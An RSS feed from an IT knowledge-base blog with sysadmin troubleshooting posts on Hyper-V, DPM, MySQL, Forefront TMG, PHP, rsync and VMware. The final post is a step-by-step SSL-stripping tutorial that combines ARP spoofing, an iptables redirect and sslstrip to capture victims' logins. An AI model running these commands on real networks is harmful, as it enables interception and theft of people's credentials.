<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IT Solutions Knowledge Base</title>
	<atom:link href="http://www.itsolutionskb.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.itsolutionskb.com</link>
	<description></description>
	<lastBuildDate>Tue, 29 May 2012 06:48:40 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.1</generator>
		<item>
		<title>Installing Linux Integration Components on Hyper-V Guests</title>
		<link>http://www.itsolutionskb.com/2012/05/installing-linux-integration-components-on-hyper-v-guests/</link>
		<comments>http://www.itsolutionskb.com/2012/05/installing-linux-integration-components-on-hyper-v-guests/#comments</comments>
		<pubDate>Thu, 17 May 2012 08:21:51 +0000</pubDate>
		<dc:creator>Glafkos Charalambous</dc:creator>
				<category><![CDATA[Hyper-V]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Windows Server 2008 R2]]></category>
		<category><![CDATA[Hyper-V Linux]]></category>
		<category><![CDATA[Integration Components]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.itsolutionskb.com/?p=1403</guid>
		<description><![CDATA[In this article we will explain in an easy to follow way, the required steps to have a full integration of the Linux OS with Hyper-V under Windows Server 2008 / R2 In order to have Linux support with your Hyper-V virtual guests we need to install the Hyper-V integration components and mouse drivers How [...]]]></description>
			<content:encoded><![CDATA[<p>In this article we will explain in an easy to follow way, the required steps to have a full integration of the Linux OS with Hyper-V under Windows Server 2008 / R2</p>
<p>In order to have Linux support with your Hyper-V virtual guests we need to install the Hyper-V integration components and mouse drivers</p>
<p><strong>How to: Linux Integration Components</strong><br />
Download: http://www.microsoft.com/en-us/download/details.aspx?id=11674</p>
<p>0. Edit Hyper-V Guest Settings and add the Legacy Network Adapter<br />
1. Insert DVD ISO and install Linux distribution<br />
2. Insert Integration Tools LinuxIC.iso for Linux<br />
3. ALT+F2 to execute a command (type gnome-terminal)<br />
4. yum -y update<br />
5. yum -y groupinstall &#8220;Development Tools&#8221;<br />
6. cp –Rp /media/CDROM/ /tmp/linux_ic<br />
7. cd /tmp/linux_ic &#038;&#038; make &#038;&#038; make install<br />
8. reboot</p>
<p><strong>How to: Synthetic Mouse Drivers</strong><br />
Download: http://www.xen.org/files/Satori/inputvsc.iso</p>
<p>0. Insert Mouse Driver inputvsc.iso<br />
1. cp -Rp /media/CDROM /tmp/synthetic<br />
2. yum -y install xorg-x11-server-sdk<br />
3. cd /tmp/synthetic &#038;&#038; ./setup.pl</p>
<p>* The above article works under CentOS / RedHat Enterprise distributions</p>
]]></content:encoded>
			<wfw:commentRss>http://www.itsolutionskb.com/2012/05/installing-linux-integration-components-on-hyper-v-guests/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DPM 2010: Agent operation failed (ID 370)</title>
		<link>http://www.itsolutionskb.com/2011/04/dpm-2010-agent-operation-failed-id-370/</link>
		<comments>http://www.itsolutionskb.com/2011/04/dpm-2010-agent-operation-failed-id-370/#comments</comments>
		<pubDate>Wed, 27 Apr 2011 09:12:25 +0000</pubDate>
		<dc:creator>Glafkos Charalambous</dc:creator>
				<category><![CDATA[DPM 2010]]></category>
		<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://www.itsolutionskb.com/?p=1392</guid>
		<description><![CDATA[Changing or Expired credentials for an Agent will lead to an Agent operation failed (ID370) error, specifying that the credentials are invalid. In order to solve this we need to login to the server that holds the protection agent and update the password or create a new user to communicate with the DPM Server Affected [...]]]></description>
			<content:encoded><![CDATA[<p>Changing or Expired credentials for an Agent will lead to an Agent operation failed (ID370) error, specifying that the credentials are invalid. In order to solve this we need to login to the server that holds the protection agent and update the password or create a new user to communicate with the DPM Server</p>
<blockquote><p>Affected area: dpm-srv01<br />
Occurred since: 26/04/2011 12:25:42<br />
Description: Agent operation failed. (ID 370)<br />
The credentials specified for server phy-srv01 are invalid. (ID 32680)</p></blockquote>
<p><strong>How To:</strong></p>
<p>1. Login to the server where you installed the DPM Agent<br />
2. Navigate to the DPM Agent files</p>
<blockquote><p>cd &#8220;c:\Program Files\Microsoft Data Protection Manager\DPM\bin&#8221;</p></blockquote>
<p>3. Create an NT user account to communicate with the DPM Server</p>
<blockquote><p>SetDpmServer.exe -dpmServerName dpm-srv01 -isNonDomainServer -userName backup</p></blockquote>
<p>4. In case you need to update only the password for the current NT user account:</p>
<blockquote><p>SetDpmServer.exe -dpmServerName dpm-srv01 -isNonDomainServer -updatePassword</p></blockquote>
<p>5. Login to your DPM Server and under Management Tab install an Agent with the new credentials provided.</p>
<p>* We used the isNonDomainServer because the specified server is in a workgroup</p>
]]></content:encoded>
			<wfw:commentRss>http://www.itsolutionskb.com/2011/04/dpm-2010-agent-operation-failed-id-370/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL export INTO OUTFILE triggers &#8220;Access denied for user&#8221;</title>
		<link>http://www.itsolutionskb.com/2011/04/mysql-export-into-outfile-triggers-access-denied-for-user/</link>
		<comments>http://www.itsolutionskb.com/2011/04/mysql-export-into-outfile-triggers-access-denied-for-user/#comments</comments>
		<pubDate>Wed, 27 Apr 2011 08:39:00 +0000</pubDate>
		<dc:creator>Glafkos Charalambous</dc:creator>
				<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Access Denied]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.itsolutionskb.com/?p=1385</guid>
		<description><![CDATA[When you try to export data to a file you are getting an access denied error message. Even if you grant the user with full privileges on the database you must Grant Global Permission to the specified user and set File Privileges to Yes as well in order to export data to a file. mysql> [...]]]></description>
			<content:encoded><![CDATA[<p>When you try to export data to a file you are getting an access denied error message. Even if you grant the user with full privileges on the database you must Grant Global Permission to the specified user and set File Privileges to Yes as well in order to export data to a file.</p>
<p>mysql> select * INTO OUTFILE &#8216;/tmp/file.out&#8217; from TABLE;<br />
&#8220;ERROR 1045 (28000): Access denied for user &#8216;db_user&#8217;@'localhost&#8217; (using password: YES)&#8221;</p>
<p><strong>How To:</strong></p>
<p>mysql -u root -p</p>
<blockquote><p>1. use mysql;<br />
2. update user set File_priv = &#8216;Y&#8217; where User = &#8216;db_user&#8217;;<br />
3. FLUSH PRIVILEGES;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.itsolutionskb.com/2011/04/mysql-export-into-outfile-triggers-access-denied-for-user/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Forefront TMG 2010 SP1 Windows Update Error Code80072EE2</title>
		<link>http://www.itsolutionskb.com/2011/01/forefront-tmg-2010-sp1-windows-update-error-code80072ee2/</link>
		<comments>http://www.itsolutionskb.com/2011/01/forefront-tmg-2010-sp1-windows-update-error-code80072ee2/#comments</comments>
		<pubDate>Fri, 21 Jan 2011 15:46:55 +0000</pubDate>
		<dc:creator>Glafkos Charalambous</dc:creator>
				<category><![CDATA[Windows Server]]></category>
		<category><![CDATA[Forefront]]></category>
		<category><![CDATA[Forefront TMG SP1]]></category>
		<category><![CDATA[Windows Server 2008]]></category>
		<category><![CDATA[Windows Server 2008 R2]]></category>
		<category><![CDATA[Windows Update Error]]></category>

		<guid isPermaLink="false">http://www.itsolutionskb.com/?p=1331</guid>
		<description><![CDATA[When you install Forefront TMG 2010 SP1 Upgrade on your Windows Server the Windows Update fails with the following message: Windows could not search for new updates. An error occured while checking for new updates for your computer. Error(s) found: Code80072EE2. This error is commonly a Firewall issue but in the case of Forefront TMG [...]]]></description>
			<content:encoded><![CDATA[<p>When you install Forefront TMG 2010 SP1 Upgrade on your Windows Server the Windows Update fails with the following message: Windows could not search for new updates. An error occured while checking for new updates for your computer. Error(s) found: Code80072EE2.</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/windows-update-error-80072EE2.png" rel="lightbox[1331]"><img class="alignnone size-medium wp-image-1334" title="Windows Update Error: 80072EE2" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/windows-update-error-80072EE2-300x108.png" alt="" width="300" height="108" /></a></p>
<p>This error is commonly a Firewall issue but in the case of Forefront TMG 2010 it seems that we must enable BrancheCache protocol in order for the updates to work. A second workaround that is not suggested is to uninstall SP1 which makes the Windows Update work again.</p>
<p><strong>How To:</strong></p>
<p>1. Select Firewall Policy and under Tasks select Create Access Rule</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/create_access_rule.png" rel="lightbox[1331]"><img class="alignnone size-full wp-image-1333" title="Create Access Rule" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/create_access_rule.png" alt="" width="179" height="245" /></a></p>
<p>2. Give an Access rule name, ex: Branch Cache and click Next</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/1accessrulename.png" rel="lightbox[1331]"><img class="alignnone size-medium wp-image-1335" title="Access Rule Name" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/1accessrulename-300x230.png" alt="" width="300" height="230" /></a></p>
<p>3. Under Rule Action select Allow and click Next</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/2actionstotake_allow.png" rel="lightbox[1331]"><img class="alignnone size-medium wp-image-1336" title="Action Allow" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/2actionstotake_allow-300x230.png" alt="" width="300" height="230" /></a></p>
<p>4. Under Protocols click on Add button and under All Protocols select the BranchCache &#8211; Advertise and BranchCache &#8211; Retrieval. Click Next</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/3addprotocols.png" rel="lightbox[1331]"><img class="alignnone size-medium wp-image-1337" title="Add Branch Cache Protocol" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/3addprotocols-300x163.png" alt="" width="300" height="163" /></a></p>
<p>5. Under Access Rule Sources click on Add and under Networks select External. Click Next</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/4fromsources_external.png" rel="lightbox[1331]"><img class="alignnone size-medium wp-image-1338" title="Allow External Sources" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/4fromsources_external-300x162.png" alt="" width="300" height="162" /></a></p>
<p>6. Under Access Rule Destinations click on Add and under Networks select Internal and Local Host. Click Next</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/5destinationtraffic_internal.png" rel="lightbox[1331]"><img class="alignnone size-medium wp-image-1339" title="Allow Destination to Internal and Local Host" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/5destinationtraffic_internal-300x162.png" alt="" width="300" height="162" /></a></p>
<p>7. Under User Sets leave the default All Users. Click Next and Finish</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/6allusers.png" rel="lightbox[1331]"><img class="alignnone size-medium wp-image-1340" title="Default to All Users" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/6allusers-300x231.png" alt="" width="300" height="231" /></a></p>
<p>Now you are able to download and install Windows Updates</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/Windows-Update-Downloading.png" rel="lightbox[1331]"><img class="alignnone size-medium wp-image-1341" title="Windows-Update-Working" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/Windows-Update-Downloading-300x98.png" alt="" width="300" height="98" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.itsolutionskb.com/2011/01/forefront-tmg-2010-sp1-windows-update-error-code80072ee2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Forefront TMG 2010 SP1 Upgrade Tcpip Error</title>
		<link>http://www.itsolutionskb.com/2010/12/forefront-tmg-2010-sp1-upgrade-tcpip-error/</link>
		<comments>http://www.itsolutionskb.com/2010/12/forefront-tmg-2010-sp1-upgrade-tcpip-error/#comments</comments>
		<pubDate>Sat, 18 Dec 2010 11:52:01 +0000</pubDate>
		<dc:creator>Glafkos Charalambous</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[TMG 2010]]></category>
		<category><![CDATA[Forefront TMG]]></category>
		<category><![CDATA[Forefront TMG SP1]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Upgrade]]></category>
		<category><![CDATA[Windows Server 2008]]></category>
		<category><![CDATA[Windows Server 2008 R2]]></category>

		<guid isPermaLink="false">http://www.itsolutionskb.com/?p=1312</guid>
		<description><![CDATA[Installing Forefront TMG 2010 SP1 Upgrade should be a straight forward process but in this case it isn&#8217;t. You will have to run the setup under Command Prompt Administrative rights. When trying to install the Forefront TMG 2010 SP1 Upgrade you are getting the following error: &#8220;Setup cannot modify or create the registry entry System\CurrentControl\Set\Services\Tcpip\Parameters&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>Installing Forefront TMG 2010 SP1 Upgrade should be a straight forward process but in this case it isn&#8217;t. You will have to run the setup under Command Prompt Administrative rights.</p>
<p>When trying to install the Forefront TMG 2010 SP1 Upgrade you are getting the following error: &#8220;Setup cannot modify or create the registry entry System\CurrentControl\Set\Services\Tcpip\Parameters&#8221; and some minutes later on another error saying that Setup was unable to configure TCP settings.</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/1tmg-sp1-error.png" rel="lightbox[1312]"><img class="alignnone size-medium wp-image-1317" title="Forefront TMG 2010 SP1 TCPIP Error" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/1tmg-sp1-error-300x227.png" alt="" width="300" height="227" /></a></p>
<p><strong>How To:</strong></p>
<p>1. Download Forefront TMG 2010 SP1 Upgrade <a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=f0fd5770-7360-4916-a5be-a88a0fd76c7c&amp;displaylang=en">here</a></p>
<p>2. Press SHIFT key and right click on TMG SP1 .msp file, select Copy as path</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/2tmg-sp1-copy_as_path.png" rel="lightbox[1312]"><img class="alignnone size-medium wp-image-1318" title="TMG - Copy as path" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/2tmg-sp1-copy_as_path-300x224.png" alt="" width="300" height="224" /></a></p>
<p>3. Start -&gt; Run -&gt; cmd, right click cmd.exe and Run as Administrator</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/3tmg-cmd-runasadmin.png" rel="lightbox[1312]"><img class="alignnone size-medium wp-image-1319" title="TMG - Run as Administrator" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/3tmg-cmd-runasadmin-238x300.png" alt="" width="238" height="300" /></a></p>
<p>4. Right click on Command Prompt window and select Paste.</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/4tmg-cmd-paste-path.png" rel="lightbox[1312]"><img class="alignnone size-medium wp-image-1320" title="TMG - Paste Path" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/4tmg-cmd-paste-path-300x148.png" alt="" width="300" height="148" /></a></p>
<p>5. Press Enter to start the Setup</p>
<p>6. When the installation is finish launch the Forefront TMG Console then click Help and select About. You should now see version 7.0.8108.200</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/tmg-version.png" rel="lightbox[1312]"><img class="alignnone size-medium wp-image-1321" title="TMG SP1 version" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/tmg-version-300x218.png" alt="" width="300" height="218" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.itsolutionskb.com/2010/12/forefront-tmg-2010-sp1-upgrade-tcpip-error/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Upgrade CentOS 5 to PHP 5.2</title>
		<link>http://www.itsolutionskb.com/2010/11/upgrade-centos-5-to-php-5-2/</link>
		<comments>http://www.itsolutionskb.com/2010/11/upgrade-centos-5-to-php-5-2/#comments</comments>
		<pubDate>Tue, 23 Nov 2010 10:44:16 +0000</pubDate>
		<dc:creator>Glafkos Charalambous</dc:creator>
				<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[CentOS5]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP5.2]]></category>
		<category><![CDATA[Upgrade]]></category>

		<guid isPermaLink="false">http://www.itsolutionskb.com/?p=1347</guid>
		<description><![CDATA[When installing latest CentOS version 5.5 you will notice that when you install PHP, the latest version you are getting is version 5.1. In order to add the latest CentOS version of PHP which is 5.2.10 is to enable CentOS 5 Testing Repositories. How To: 1. vi /etc/yum.repos.d/CentOS-Testing.repo # CentOS-Testing: # !!!! CAUTION !!!! # [...]]]></description>
			<content:encoded><![CDATA[<p>When installing latest CentOS version 5.5 you will notice that when you install PHP, the latest version you are getting is version 5.1. In order to add the latest CentOS version of PHP which is 5.2.10 is to enable CentOS 5 <a href="http://dev.centos.org/centos/5/testing/x86_64/RPMS/">Testing Repositories</a>.</p>
<p><strong>How To:</strong><br />
1. vi /etc/yum.repos.d/CentOS-Testing.repo</p>
<blockquote><p>
# CentOS-Testing:<br />
# !!!! CAUTION !!!!<br />
# This repository is a proving grounds for packages on their way to CentOSPlus and CentOS Extras.<br />
# They may or may not replace core CentOS packages, and are not guaranteed to function properly.<br />
# These packages build and install, but are waiting for feedback from testers as to<br />
# functionality and stability. Packages in this repository will come and go during the<br />
# development period, so it should not be left enabled or used on production systems without due<br />
# consideration.<br />
[c5-testing]<br />
name=CentOS-5 Testing<br />
baseurl=http://dev.centos.org/centos/$releasever/testing/$basearch/<br />
enabled=1<br />
gpgcheck=1<br />
gpgkey=http://dev.centos.org/centos/RPM-GPG-KEY-CentOS-testing<br />
includepkgs=php*</p></blockquote>
<p>* Only PHP packages will be updated from that repository as we defined includepkgs=php*</p>
]]></content:encoded>
			<wfw:commentRss>http://www.itsolutionskb.com/2010/11/upgrade-centos-5-to-php-5-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Warning:  PHP Startup: memcache: Unable to initialize module</title>
		<link>http://www.itsolutionskb.com/2010/10/php-warning-php-startup-memcache-unable-to-initialize-module/</link>
		<comments>http://www.itsolutionskb.com/2010/10/php-warning-php-startup-memcache-unable-to-initialize-module/#comments</comments>
		<pubDate>Sat, 23 Oct 2010 11:05:43 +0000</pubDate>
		<dc:creator>Glafkos Charalambous</dc:creator>
				<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Error]]></category>

		<guid isPermaLink="false">http://www.itsolutionskb.com/?p=1355</guid>
		<description><![CDATA[Upgrading between PHP versions without upgrading their modules as well will result in the following warning: PHP Warning: PHP Startup: memcache: Unable to initialize module Module compiled with module API=20050922, debug=0, thread-safety=0 PHP compiled with module API=20060613, debug=0, thread-safety=0 These options need to match in Unknown on line 0 The specific warning mention the memcache [...]]]></description>
			<content:encoded><![CDATA[<p>Upgrading between PHP versions without upgrading their modules as well will result in the following warning:</p>
<blockquote><p>PHP Warning:  PHP Startup: memcache: Unable to initialize module<br />
Module compiled with module API=20050922, debug=0, thread-safety=0<br />
PHP    compiled with module API=20060613, debug=0, thread-safety=0<br />
These options need to match<br />
in Unknown on line 0</p></blockquote>
<p>The specific warning mention the memcache module. In order to fix this we will need to run the pecl command in order to compile memcache module from source</p>
<p><strong>How To:</strong></p>
<p>1. yum install make php-devel<br />
2. pecl install memcache</p>
<p>Output:</p>
<blockquote><p>Build process completed successfully<br />
Installing &#8216;/usr/lib64/php/modules/memcache.so&#8217;<br />
install ok: channel://pecl.php.net/memcache-2.2.6<br />
configuration option &#8220;php_ini&#8221; is not set to php.ini location<br />
You should add &#8220;extension=memcache.so&#8221; to php.ini</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.itsolutionskb.com/2010/10/php-warning-php-startup-memcache-unable-to-initialize-module/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rsync/Crontab (grandchild failed with exit status 255)</title>
		<link>http://www.itsolutionskb.com/2010/09/rsynccrontab-grandchild-failed-with-exit-status-255/</link>
		<comments>http://www.itsolutionskb.com/2010/09/rsynccrontab-grandchild-failed-with-exit-status-255/#comments</comments>
		<pubDate>Fri, 24 Sep 2010 14:59:46 +0000</pubDate>
		<dc:creator>Glafkos Charalambous</dc:creator>
				<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[crontab]]></category>
		<category><![CDATA[Error]]></category>
		<category><![CDATA[rsync]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://www.itsolutionskb.com/?p=1359</guid>
		<description><![CDATA[It seems that when you run rsync over ssh using crontab to automate your backup jobs, the crontab will not run and will fail with the following error in the logs: &#8220;grandchild # failed with exit status 255&#8243;. If you closely check the backup script output you will notice that there is a permission denied error [...]]]></description>
			<content:encoded><![CDATA[<p>It seems that when you run rsync over ssh using crontab to automate your backup jobs, the crontab will not run and will fail with the following error in the logs: &#8220;grandchild # failed with exit status 255&#8243;.</p>
<p>If you closely check the backup script output you will notice that there is a permission denied error as follow:</p>
<blockquote><p>Permission denied, please try again.<br />
Permission denied, please try again.<br />
Permission denied (publickey,password).<br />
rsync: connection unexpectedly closed (0 bytes received so far) [receiver]<br />
rsync error: unexplained error (code 255) at io.c(635) [receiver=3.0.3]</p></blockquote>
<p>Although your script might run from command line without problems this is not the case when you run it through crontab. The reason behind that, is that crontab runs in restricted environment and does not provide the SSH_AUTH_SOCK variable in order for the SSH Client to communicate with the SSH Agent properly.</p>
<p>To solve this problem we will need to find the socket path in the /tmp directory and assign that value as a variable to the crontab.</p>
<p>Example:</p>
<blockquote><p>root@box:~# find /tmp/keyring*/ -perm 0755 -type s -user YOURUSER -group YOURGROUP -name &#8216;*ssh&#8217; | head -n 1<br />
/tmp/keyring-pf25yg/ssh</p></blockquote>
<p><strong>How To:</strong></p>
<p>1. crontab -e</p>
<blockquote><p>* * * * *<strong> SSH_AUTH_SOCK=&#8221;$(find /tmp/keyring*/ -perm 0755 -type s -user YOURUSER -group YOURGROUP -name &#8216;*ssh&#8217; | head -n 1)&#8221;</strong> /bin/sh /path/backup.sh</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.itsolutionskb.com/2010/09/rsynccrontab-grandchild-failed-with-exit-status-255/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VMWare Tools installation cannot be started manually while the easy install is in progress</title>
		<link>http://www.itsolutionskb.com/2010/08/vmware-tools-installation-cannot-be-started-manually-while-the-easy-install-is-in-progress/</link>
		<comments>http://www.itsolutionskb.com/2010/08/vmware-tools-installation-cannot-be-started-manually-while-the-easy-install-is-in-progress/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 10:07:51 +0000</pubDate>
		<dc:creator>Glafkos Charalambous</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[VMware Player]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Vista]]></category>

		<guid isPermaLink="false">http://www.itsolutionskb.com/?p=1366</guid>
		<description><![CDATA[Installing Windows on VMware Player using Easy Install feature which is used to perform an unnatented installation of a guest operating system uses a floppy drive image to do the whole installation progress automatically. After the guest operating system installation is finished and you try to install the VMware Tools you are getting the following [...]]]></description>
			<content:encoded><![CDATA[<p>Installing Windows on VMware Player using Easy Install feature which is used to perform an unnatented installation of a guest operating system uses a floppy drive image to do the whole installation progress automatically.</p>
<p>After the guest operating system installation is finished and you try to install the VMware Tools you are getting the following error: &#8220;VMWare Tools installation cannot be started manually while the easy install is in progress&#8221;.</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/vmware-easyinstall-fail.png" rel="lightbox[1366]"><img class="alignnone size-medium wp-image-1367" title="VMware Easy Install Error" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/vmware-easyinstall-fail-300x76.png" alt="" width="300" height="76" /></a></p>
<p>In order to solve this error message we will have to unmount the virtual floppy drive image that was used to do the setup in the Virtual Machine Settings.</p>
<p><strong>How To:</strong></p>
<p>1. Go to Virtual Machine -&gt; Virtual Machine Settings (Ctrl + D)<br />
2. Select Floppy<br />
3. Select Use physical drive and set it to Autodetect. Press OK</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/vmware-howto.png" rel="lightbox[1366]"><img class="alignnone size-medium wp-image-1368" title="Virtual Machine Settings" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/vmware-howto-300x264.png" alt="" width="300" height="264" /></a></p>
<p>4. Go to Virtual Machine -&gt; Install VMware Tools..</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2011/01/VMware-Tools-Install.png" rel="lightbox[1366]"><img class="alignnone size-medium wp-image-1369" title="VMware Tools Install" src="http://www.itsolutionskb.com/wp-content/uploads/2011/01/VMware-Tools-Install-300x226.png" alt="" width="300" height="226" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.itsolutionskb.com/2010/08/vmware-tools-installation-cannot-be-started-manually-while-the-easy-install-is-in-progress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Defeating SSL using SSL Strip</title>
		<link>http://www.itsolutionskb.com/2010/06/defeating-ssl-using-ssl-strip/</link>
		<comments>http://www.itsolutionskb.com/2010/06/defeating-ssl-using-ssl-strip/#comments</comments>
		<pubDate>Sat, 12 Jun 2010 08:19:29 +0000</pubDate>
		<dc:creator>Glafkos Charalambous</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sniffing]]></category>
		<category><![CDATA[SSL Bypass]]></category>
		<category><![CDATA[SSLStrip]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.itsolutionskb.com/?p=1300</guid>
		<description><![CDATA[SSL Strip is a tool that hijacks HTTP traffic on a network by replacing all the HTTPS/SSL links with HTTP ones. Once SSL Strip is setup all the victim traffic will be routed through the attacker and HTTP traffic will be redirected to the attacker machine. The attacker will be able to obtain all logon [...]]]></description>
			<content:encoded><![CDATA[<p>SSL Strip is a tool that hijacks HTTP traffic on a network by replacing all the HTTPS/SSL links with HTTP ones. Once SSL Strip is setup all the victim traffic will be routed through the attacker and HTTP traffic will be redirected to the attacker machine. The attacker will be able to obtain all logon information by sniffing the HTTP plaintext protocol.</p>
<p><strong>How to:</strong></p>
<p>1. Set up IP Forwarding<br />
echo 1 &gt; /proc/sys/net/ipv4/ip_forward</p>
<p>2. Set up Port redirection using iptables<br />
iptables -t nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-ports 1337</p>
<p>3. Start ARP MITM<br />
arpspoof -i eth0 -t VICTIMIP GATEWAY</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2010/10/sslstrip_1.png" rel="lightbox[1300]"><img class="alignnone size-medium wp-image-1301" title="Preparing SSL Strip Attack" src="http://www.itsolutionskb.com/wp-content/uploads/2010/10/sslstrip_1-300x221.png" alt="" width="300" height="221" /></a></p>
<p>4. Start SSL Strip Tool<br />
sslstrip -l 1337 -w log.txt</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2010/10/sslstrip_2.png" rel="lightbox[1300]"><img class="alignnone size-medium wp-image-1302" title="Starting SSL Strip Tool" src="http://www.itsolutionskb.com/wp-content/uploads/2010/10/sslstrip_2-300x221.png" alt="" width="300" height="221" /></a></p>
<p>5. Wait until the target login to a website that supposed to use HTTPS/SSL</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2010/10/hotmail_login.png" rel="lightbox[1300]"><img class="alignnone size-medium wp-image-1303" title="Target login to Hotmail" src="http://www.itsolutionskb.com/wp-content/uploads/2010/10/hotmail_login-300x133.png" alt="" width="300" height="133" /></a></p>
<p>6. Check log.txt for captured information</p>
<p><a href="http://www.itsolutionskb.com/wp-content/uploads/2010/10/check_log.png" rel="lightbox[1300]"><img class="alignnone size-medium wp-image-1304" title="Credentials Captured" src="http://www.itsolutionskb.com/wp-content/uploads/2010/10/check_log-300x224.png" alt="" width="300" height="224" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.itsolutionskb.com/2010/06/defeating-ssl-using-ssl-strip/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
